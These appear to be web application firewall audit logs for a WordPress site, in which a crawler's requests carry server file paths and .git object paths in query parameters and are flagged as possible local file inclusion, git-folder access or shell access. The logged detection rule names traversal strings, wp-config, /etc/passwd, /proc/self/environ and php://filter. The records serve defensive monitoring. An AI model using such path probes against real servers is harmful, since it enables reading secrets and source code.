{"transaction":{"time":"13/Mar/2026:09:33:40.268921 +0100","transaction_id":"abPL5LJ190y1fElY11biaAAAAIg","remote_address":"57.141.20.18","remote_port":46638,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/d/d430c-unix-25 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"a0ba584e1cc3acdd7be2a7bd1c8a8048","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13829261"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"a0ba584e1cc3acdd7be2a7bd1c8a8048","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/d/d430c-unix-25||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":234,"p2":3706,"p3":0,"p4":0,"p5":290,"sr":108,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:33:43.690557 +0100","transaction_id":"abPL57J190y1fElY11bibwAAAIs","remote_address":"57.141.20.50","remote_port":36374,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/ac HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"5885a23bd1b140fdbe32a1179162d586","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11505435"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5885a23bd1b140fdbe32a1179162d586","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/ac||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":177,"p2":3596,"p3":0,"p4":0,"p5":245,"sr":85,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:33:56.483116 +0100","transaction_id":"abPL80xHnLkyPWuTIW5XgQAAAY4","remote_address":"57.141.20.50","remote_port":35942,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/to-top/to-top.2.5.4.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"fed367597e263cf3f824feb955698e6c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14352750"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"fed367597e263cf3f824feb955698e6c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/to-top/to-top.2.5.4.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":292,"p2":8442,"p3":0,"p4":0,"p5":339,"sr":149,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:34:22.377675 +0100","transaction_id":"abPMDm-XEucyBza91ntg7QAAAwE","remote_address":"57.141.20.15","remote_port":43118,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/ameliabooking/ameliabooking.2.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.15","X-Forwarded-Proto":"https","X-Request-Id":"04944e4e74824cc05294f259a8c364a0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14123554"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"04944e4e74824cc05294f259a8c364a0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/ameliabooking/ameliabooking.2.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":299,"p2":7911,"p3":0,"p4":0,"p5":357,"sr":145,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:34:28.494428 +0100","transaction_id":"abPMFE26I4peWFmz15yfiAAAAUc","remote_address":"57.141.20.27","remote_port":45282,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d5/539b0e2637be33ad98c5f540d2dba17b4aa603 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.27","X-Forwarded-Proto":"https","X-Request-Id":"96a3a5d90f94c2271fd6310cff1f7d2d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14385359"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"96a3a5d90f94c2271fd6310cff1f7d2d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d5/539b0e2637be33ad98c5f540d2dba17b4aa603||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":255,"p2":5319,"p3":0,"p4":0,"p5":322,"sr":112,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:34:30.195886 +0100","transaction_id":"abPMFkxHnLkyPWuTIW5XtAAAAZY","remote_address":"57.141.20.47","remote_port":55382,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=/sftproot/htdocs/atito2/vendor/bin/phpunit.bat HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.47","X-Forwarded-Proto":"https","X-Request-Id":"6ffde0590e9c469ed24bbcbf48c950a0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7802663"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6ffde0590e9c469ed24bbcbf48c950a0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/fresh-vegetables/\"] [unique_id \"abPMFkxHnLkyPWuTIW5XtAAAAZY\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":283,"p2":3914,"p3":0,"p4":0,"p5":329,"sr":127,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:34:34.663148 +0100","transaction_id":"abPMGrJ190y1fElY11bitwAAAIE","remote_address":"57.141.20.17","remote_port":41886,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/so/LC_MESSAGES/iso_3166-2.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"1f29c49c73862c65eae1a3dec00c3fb2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9210677"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1f29c49c73862c65eae1a3dec00c3fb2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/so/LC_MESSAGES/iso_3166-2.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":254,"p2":4381,"p3":0,"p4":0,"p5":303,"sr":90,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:34:40.935480 +0100","transaction_id":"abPMIG-XEucyBza91nthEwAAAwE","remote_address":"57.141.20.4","remote_port":43118,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/opt/php8.5/include/php/Zend/zend_system_id.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"838119c2d3486fd7c28ba570fd66dcde","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10356182"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"838119c2d3486fd7c28ba570fd66dcde","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.5/include/php/Zend/zend_system_id.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":263,"p2":5824,"p3":0,"p4":0,"p5":362,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:34:44.822250 +0100","transaction_id":"abPMJOEAMg66iR7kG38ZwAAAA0U","remote_address":"57.141.20.24","remote_port":41838,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/hr/LC_MESSAGES/iso_3166_2.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"222e306d1e78770186f76d48d860662c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14222715"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"222e306d1e78770186f76d48d860662c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/hr/LC_MESSAGES/iso_3166_2.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":294,"p2":5560,"p3":0,"p4":0,"p5":342,"sr":117,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:34:46.869527 +0100","transaction_id":"abPMJkxHnLkyPWuTIW5X1AAAAYU","remote_address":"57.141.20.54","remote_port":56532,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/73/ea8a2668f48c96f6d6de95cafd59be5946c063 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.54","X-Forwarded-Proto":"https","X-Request-Id":"0db7237462e7ad699aa5e05ede2d9145","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11439915"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0db7237462e7ad699aa5e05ede2d9145","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/73/ea8a2668f48c96f6d6de95cafd59be5946c063||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":324,"p2":6208,"p3":0,"p4":0,"p5":344,"sr":150,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:34:58.930605 +0100","transaction_id":"abPMMqg_lPa2owFZ6_Pp4wAAAQQ","remote_address":"57.141.20.47","remote_port":56446,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/cy/LC_MESSAGES/iso_3166_2.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.47","X-Forwarded-Proto":"https","X-Request-Id":"2b4f52307138fd1716f010d8716e13cb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7570994"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2b4f52307138fd1716f010d8716e13cb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/cy/LC_MESSAGES/iso_3166_2.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":187,"p2":3711,"p3":0,"p4":0,"p5":316,"sr":101,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:35:04.799933 +0100","transaction_id":"abPMOKg_lPa2owFZ6_Pp_wAAAQQ","remote_address":"57.141.20.1","remote_port":56446,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/dnj750m.upp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.1","X-Forwarded-Proto":"https","X-Request-Id":"f12ecf98424e31a06b219b38b74a56d6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8784469"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f12ecf98424e31a06b219b38b74a56d6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/dnj750m.upp||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":205,"p2":6475,"p3":0,"p4":0,"p5":277,"sr":116,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
